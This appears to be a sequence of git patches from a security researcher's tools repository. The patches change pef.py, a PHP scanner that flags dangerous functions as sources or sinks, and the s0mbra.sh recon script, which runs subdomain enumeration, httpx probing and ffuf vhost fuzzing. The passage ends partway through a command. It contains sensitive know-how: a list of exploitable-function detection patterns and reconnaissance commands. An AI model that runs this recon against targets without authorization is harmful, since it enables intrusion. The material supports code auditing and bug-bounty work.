( callable $callback [, mixed $... ] ) : mixed", "Code Injection", - "medium" + "medium", + "sink" ], "ereg_replace()": [ "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", "ereg_replace ( string $pattern , string $replacement , string $string ) : string", "Code Injection", - "low" + "low", + "sink" ], "eregi_replace()": [ "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", "eregi_replace ( string $pattern , string $replacement , string $string ) : string", "Code Injection", - "low" + "low", + "sink" ], "mb_ereg_replace()": [ "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", "Code Injection", - "low" + "low", + "sink" ], "mb_eregi_replace()": [ "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", "Code Injection", - "low" + "low", + "sink" ], "virtual()": [ "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", "virtual ( string $filename ) : bool", "Local File Include, Remote File Include", - "low" + "low", + "sink" ], "readfile()": [ "Reads a file and writes it to the output buffer.", "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", "Code Injection, LFI, RFI", - "high" + "high", + "source" ], "file_get_contents()": [ "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", "Code Injection, LFI, RFI", - "high" + "high", + "source" ], "show_source()": [ "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", "Information Disclosure", - "low" + "low", + "source" ], "highlight_file()": [ "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", "Information Disclosure", - "low" + "low", + "source" ], "fopen()": [ "fopen() binds a named resource, specified by filename, to a stream.", "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", "Code Injection, LFI, RFI", - "low" + "low", + "source" ], "file()": [ "Reads an entire file into an array.", "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", "Code Injection, LFI, RFI", - "low" + "low", + "source" ], "fpassthru()": [ "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", "fpassthru ( resource $handle ) : int", "Code Injection, LFI, RFI, RCE (depending on the context)", - "low" + "low", + "sink" ], "fsockopen()": [ "Initiates a socket connection to the resource specified by hostname.", "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", "RCE (depends on context)", - "low" + "low", + "sink" ], "gzopen()": [ "Opens a gzip (.gz) file for reading or writing.", "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", "Code Injection, LFI (depends on context)", - "low" + "low", + "sink" ], "gzread()": [ "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", "gzread ( resource $zp , int $length ) : string", "Code Injection, LFI", - "low" + "low", + "sink" ], "gzfile()": [ "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", "Code Injection, LFI", - "low" + "low", + "sink" ], "gzpassthru()": [ "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", "gzpassthru ( resource $zp ) : int", "Code Injection, LFI", - "low" + "low", + "sink" ], "readgzfile()": [ "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", "Code Injection, LFI, RCE", - "medium" + "medium", + "sink" ], "mssql_query()": [ "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", @@ -250,37 +284,43 @@ "Sends an SQL statement to the database server.", "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", "SQL Injection", - "high" + "high", + "sink" ], "sqlsrv_query()": [ "Prepares and executes a query", "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "PDO::query()": [ "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", "SQL Injection", - "medium" + "medium", + "sink" ], "move_uploaded_file()": [ "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", "move_uploaded_file ( string $filename , string $destination ) : bool", "File Include", - "low" + "low", + "sink" ], "print()": [ "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", "print ( string $arg ) : int", "XSS, Content/HTML Injection", - "low" + "low", + "sink" ], "printf()": [ "Produces output according to format.", "printf ( string $format [, mixed $... ] ) : int", "XSS, Content/HTML Injection", - "low" + "low", + "sink" ], "ldap_search()": [ "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", @@ -292,49 +332,57 @@ "Send a raw HTTP header", "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", "Header Injection, Open Redirect", - "low" + "low", + "sink" ], "sqlite_query()": [ "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", "SQL Injection", - "medium" + "medium", + "sink" ], "pg_query()": [ "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", "pg_query ([ resource $connection ], string $query ) : resource", "SQL Injection", - "medium" + "medium", + "sink" ], "mysql_query()": [ "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", "SQL Injection", - "high" + "high", + "sink" ], "mysqli_query()": [ "Performs a query against the database.", "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "mysqli::query()": [ "Performs a query against the database.", "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "apache_setenv()": [ "Sets the value of the Apache environment variable specified by variable.", "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", "ENV server variables overwrite", - "low" + "low", + "sink" ], "dl()": [ "Loads a PHP extension at runtime", "dl ( string $library ) : bool", "Code Injection, RCE (in certain conditions)", - "low" + "low", + "sink" ], "escapeshellarg()": [ "Escape a string to be used as a shell argument", @@ -388,7 +436,8 @@ "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", "putenv ( string $setting ) : bool", "ENV variable create/owerwrite", - "low" + "low", + "sink" ], "symlink()": [ "Creates a symbolic link to the existing target with the specified name link.", @@ -406,37 +455,43 @@ "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", "curl_exec ( resource $ch ) : mixed", "SSRF", - "medium" + "medium", + "sink" ], "__destruct()": [ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "high" + "high", + "sink" ], "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", "__wakeup ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__sleep()": [ "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", "public __sleep ( void ) : array", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__call()": [ "Triggered when invoking inaccessible methods in an object context", "public __call ( string $name , array $arguments ) : mixed", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__callStatic()": [ "Triggered when invoking inaccessible methods in a static context.", "public static __callStatic ( string $name , array $arguments ) : mixed", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "filter_var()": [ "Filters a variable with a specified filter", @@ -448,54 +503,63 @@ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", - "medium" + "medium", + "source" ], "SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "INSERT.*INTO": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "UPDATE.*": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "DELETE.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "$_POST": [ "$_POST reference found", "", "", - "critical" + "critical", + "source" ], "$_GET": [ "$_GET reference found", "", "", - "critical" + "critical", + "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "critical" + "critical", + "source" ], "$_COOKIES": [ "$_COOKIES reference found", "", "", - "critical" + "critical", + "source" ] } From dcc272d0371f72b0298a5ea194df789428104beb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 10:17:11 +0100 Subject: [PATCH 387/460] [pef] Improvements; fixed error with -r when filename was provided instead of directory name --- pef/pef.py | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 7274cf0..74492a6 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -160,9 +160,9 @@ def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False """ self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions + self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor - self.source_or_sink = source_or_sink self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -215,7 +215,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if len(doc) == 5 and source_or_sink == doc[4] or source_or_sink == 'ALL': + if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" @@ -235,6 +235,7 @@ def main(self, src): f = open(src, "r", encoding="ISO-8859-1") i = 0 res = None + file_found = 0 all_lines = f.readlines() for l in all_lines: i += 1 @@ -244,15 +245,17 @@ def main(self, src): for fn in exploitableFunctions: if self.analyse_line(l, i, fn, f, line) == True: res = True - return res # return how many findings in current file + file_found += 1 + return (res, file_found) # return how many findings in current file def run(self): """ runs scanning """ + total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - if self.recursive: + if os.path.isdir(self.filename) and self.recursive: for root, subdirs, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue @@ -261,14 +264,16 @@ def run(self): extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) + (res, file_found) = self.main(os.path.join(root, f)) if res is not None and f != prev_filename: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") prev_filename = f + total_found += file_found else: self.scanned_files = self.scanned_files + 1 - self.found_entries = self.main(self.filename) - print("\n") + (res, self.found_entries) = self.main(self.filename) + # print summary + print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") def is_comment(self, line: str) -> bool: """ @@ -310,9 +315,10 @@ def is_comment(self, line: str) -> bool: source_or_sink = 'source' if args.sink: source_or_sink = 'sink' - + filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, source_or_sink, filename, args.skip_vendor) + engine = PefEngine(args.recursive, level, source_or_sink, + filename, args.skip_vendor) engine.run() From 29a50bbcd6bb82adb8e2d3c8e5a7f77d335eab37 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:35:21 +0100 Subject: [PATCH 388/460] [pef] Improvements; fixed error with -r when filename was provided instead of directory name --- pef/pef.py | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 74492a6..f505f67 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,14 +154,14 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False): + def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=False): """ constructor """ - self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan + self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan self.skip_vendor = skip_vendor self.scanned_files = 0 # number of scanned files in total @@ -255,10 +255,13 @@ def run(self): total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - if os.path.isdir(self.filename) and self.recursive: - for root, subdirs, files in os.walk(self.filename): + + if os.path.isdir(self.filename): + for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue + # if self.dirs_to_scan and self.not_in_dirs_to_scan(root): + # continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] @@ -282,7 +285,6 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") - # main program if __name__ == "__main__": @@ -292,12 +294,10 @@ def is_comment(self, line: str) -> bool: ) filename = '.' # initial value for file/dir to scan is current directory - parser.add_argument( - "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( "-S", "--source", help="show only sources", action="store_true") parser.add_argument( @@ -305,20 +305,27 @@ def is_comment(self, line: str) -> bool: parser.add_argument( "-f", "--file", - help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)", - required=True) + help="File or directory name to scan", + ) + parser.add_argument( + "-d", + "--dir", + help="List of directories to scan (mutually exclusive with -f flag)", + ) args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' source_or_sink = 'ALL' + if args.source: source_or_sink = 'source' if args.sink: source_or_sink = 'sink' + dirs_to_scan = args.dir filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, source_or_sink, - filename, args.skip_vendor) + engine = PefEngine(level, source_or_sink, + filename, dirs_to_scan, args.skip_vendor) engine.run() From 6d6aa4ff2e9e2ae234b8ca47cfab2ce7022ebb0c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:36:06 +0100 Subject: [PATCH 389/460] [pef] update --- pef/imports/pefdocs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 1863d39..5c0d9cb 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -563,3 +563,4 @@ "source" ] } + From 22b28c1a5055721e1532269aa416fc1850243845 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:36:33 +0100 Subject: [PATCH 390/460] [pef] update --- pef/imports/pefdocs.py | 1 - 1 file changed, 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 5c0d9cb..1863d39 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -563,4 +563,3 @@ "source" ] } - From 0340d5f6869a5308c5536fe2f367583350ae37ce Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Sep 2023 20:52:07 +0100 Subject: [PATCH 391/460] [pef] print summary at the end of findings --- pef/pef.py | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index f505f67..28e6fde 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,10 +1,10 @@ #!/usr/bin/env python3 # -# PHP Exploitable Functions/Vars Scanner +# PHP source code advanced grep utility # bl4de | github.com/bl4de | hackerone.com/bl4de # -# pylint: disable=C0103 +# pylint: disable=invalid-name, missing-class-docstring, import-error, too-few-public-methods, unused-import, no-self-use,missing-function-docstring,consider-using-enumerate,consider-iterating-dictionary # //TODO: # - allow to scan folder without subdirs @@ -159,7 +159,7 @@ def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=Fa constructor """ self.level = level # scan only for level set of functions - self.source_or_sink = source_or_sink # show only sinks or sources + self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan self.skip_vendor = skip_vendor @@ -255,7 +255,7 @@ def run(self): total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - + if os.path.isdir(self.filename): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: @@ -276,7 +276,7 @@ def run(self): self.scanned_files = self.scanned_files + 1 (res, self.found_entries) = self.main(self.filename) # print summary - print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + self.print_summary(total_found) def is_comment(self, line: str) -> bool: """ @@ -285,6 +285,15 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") + def print_summary(self, total_found: int) -> None: + """ + prints summary at the bottom of search results + """ + print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + print( + f"{beautyConsole.getColor('white')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + + # main program if __name__ == "__main__": From 06bc92dd6d44ee8868be4fb2cb733744a1704915 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Sep 2023 01:50:35 +0100 Subject: [PATCH 392/460] [pef] output improvements --- pef/pef.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 28e6fde..c8a2b7d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # -# PHP source code advanced grep utility +# PHP source code grep tool # bl4de | github.com/bl4de | hackerone.com/bl4de # @@ -12,9 +12,14 @@ # - exclude 'echo' lines without HTML tags -""" -pef.py - PHP source code advanced grep utility -""" +## Sinks and Sources +# +# for an SQLi, you need a code that makes a raw query to the database +# for an SSRF, you need a code that makes an HTTP request +# for an LFI, you need a code that reads a file +# for an XXE, you need a code that parses an XML with a concrete configuration +# for a DOM-XSS, you need a code that executes HTML or JavaScript +# import sys import os import re @@ -253,8 +258,9 @@ def run(self): runs scanning """ total_found = 0 + os.system('clear') print( - f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") + f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") if os.path.isdir(self.filename): for root, _, files in os.walk(self.filename): From d40e6c05abbab353e546ef670eb52a9d269e2d86 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Sep 2023 10:57:21 +0100 Subject: [PATCH 393/460] [pef] update description --- pef/pef.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index c8a2b7d..5692b8f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -6,12 +6,11 @@ # pylint: disable=invalid-name, missing-class-docstring, import-error, too-few-public-methods, unused-import, no-self-use,missing-function-docstring,consider-using-enumerate,consider-iterating-dictionary -# //TODO: +# @TODO: # - allow to scan folder without subdirs # - allow to scan files by pattern, eg. *.php # - exclude 'echo' lines without HTML tags - ## Sinks and Sources # # for an SQLi, you need a code that makes a raw query to the database @@ -20,6 +19,19 @@ # for an XXE, you need a code that parses an XML with a concrete configuration # for a DOM-XSS, you need a code that executes HTML or JavaScript # +# When you are going sources to sinks, the process is: +# +# - you encounter a function call +# - you find the definition +# - repeat until the sink +# +# For sinks to sources, the process is: +# +# - you are in the function definition +# - you find a call of this function. +# - repeat until the source +# + import sys import os import re From 8584f3b142db984ada62c23a7cc92379e56b8471 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 3 Oct 2023 08:46:34 +0100 Subject: [PATCH 394/460] [s0mbra] Restore HTTP 200 OK discovery in peek() --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 5936796..4e2d370 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,6 +281,8 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 999c94a10d5491e90a8af3522099a29a03e0a457 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 17 Oct 2023 15:28:46 +0100 Subject: [PATCH 395/460] [s0mbra] Reomove 200 OK listing, does not make any sense anyway --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4e2d370..5936796 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,8 +281,6 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 653c58a8970a18754902ada56b8f86b95d920c8d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 24 Oct 2023 09:13:41 +0100 Subject: [PATCH 396/460] [s0mbra] Simplify output filenames in peek() and recon() --- s0mbra.sh | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5936796..cfb76a9 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -215,30 +215,30 @@ scope() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.log" + sublister -v -d $domain -o "$TMPDIR/sublister_$domain.log" done # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.log + subfinder -nW -all -v -dL $1 -o $TMPDIR/subfinder.log # prepare list of uniqe subdomains - cat s0mbra_recon_sub* > step1 + cat sub* > step1 sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log + sort -u -k 1 step2 > subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log + grep 200 $TMPDIR/httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -254,33 +254,33 @@ peek() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.log" + sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log # prepare list of uniqe subdomains - cat $TMPDIR/s0mbra_recon_sub* > $TMPDIR/step1 + cat $TMPDIR/sub* > $TMPDIR/step1 sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 - sort -u -k 1 $TMPDIR/step2 > $TMPDIR/s0mbra_recon_subdomains_final.log + sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -f $TMPDIR/sublister_$DOMAIN.log + rm -f $TMPDIR/subfinder.log rm -rf $TMPDIR/h* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -341,15 +341,15 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u 